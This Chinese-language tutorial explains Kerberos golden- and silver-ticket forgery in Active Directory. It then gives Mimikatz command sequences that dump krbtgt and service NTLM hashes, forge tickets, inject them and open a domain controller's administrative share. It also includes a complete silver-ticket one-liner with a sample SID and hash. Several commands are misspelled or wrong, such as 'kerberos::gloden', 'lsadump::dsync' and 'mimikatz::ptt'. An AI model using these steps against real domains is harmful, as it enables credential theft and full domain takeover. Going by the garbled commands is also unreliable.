描述
白银票据: 即伪造的TGS。当获取需要访问的目标服务器NTLM HASH后,就可以利用Mimikatz伪造TGS,直接去访问目标服务器。此过程不需要KDC的参与。但缺点是只能访问一个服务。
黄金票据: 即伪造TGT。当攻击者拥有普通域账户,krbtgt ntlm hash ,域SID时,就可以伪造TGT。拥有黄金票据就拥有了域内所有的访问控制权限。
原理
黄金票据
通过Kerberos的通信过程就可以看出,当攻击者获取krbtgt的HASH值时,就可以利用这个HASH去伪造TGT,票据授予票据,在以后每一次的通信过程中,Client就能利用这个伪造的TGT去获取要访问的Server的TGS。也就是说,伪造了黄金票据,就拥有了域内所有的访问控制权限。
黄金票据的条件
- 域名称
- 域的SID值
- 域的krbtgt账户NTLM HASH
- 伪造用户名
局限
在一个多域AD森林中,如果创建的黄金票据不包含在Enterprise Admin组中,则黄金票据不会向森林中的其他域提供管理权限。在单个域中,由于Enterprise Admin组驻留在此域中,这时黄金票据不存在局限性。
Mimikatz伪造黄金票据、
1.获取winodws域名称
$ systeminfo
2.获取krbtgt和账户信息
mimikatz# sekurlsa::kerberos
mimikatz# sekurlsa::ticket /export
mimikatz# sekurlsa::logonpassword
mimikatz# lsadump::dsync /domain:xxx.xxx.xxx /user:krbtgt
mimikatz# lsadump::lsa /patch -> sid+ntlm
3.生成黄金票据
# 使用krbtgt的hash值:
mimikatz# kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ticket:test.kribi
# 使用krbtgt的aes256值:
mimikatz# kerberos::gloden /domain:xxx.xxx /sid:xxxxxxxxxxx /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi
4.使用黄金票据
# 导入票据
mimikatz::ptt test.kribi
#检验缓存票据
PS C:\Users\Administrastor> klist
#利用票据访问
PS C:\Users\Administrastor> net use \\xx.domain-name
dir \\xx.domain-name\c$
利用dcsync获取hash
从域控制器获取user01的hash
白银票据
从kerberos通信协议来看,在KDC向Client发送TGS时,利用了远程服务器Server和KDC共享的长期秘钥来加密的。也就是说,只要获取了远程服务器Server的NTLM HASH就可以伪造票据。前提是利用其他方式获取需要访问服务器的NTLM HASH。
特点
- 不需要与KDC进行交互
- 需要目标服务的NTLM HASH
Mimikatz 白银票据伪造:
- kerberos::list #列出票据
- kerberos::purge # 清除票据
白银票据的伪造:
mimikatz “kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
总结
在kerberos认证中,KDC是Client和Server的共同信任第三方,而建立信任的过程中“票据”是信任关系的凭据。但这张凭据的最终生成核心秘钥还是NTLM HASH,获取NTLM HASH之后,就可以伪造票据,达到欺骗
的效果。也可以认为是域内的权限提升。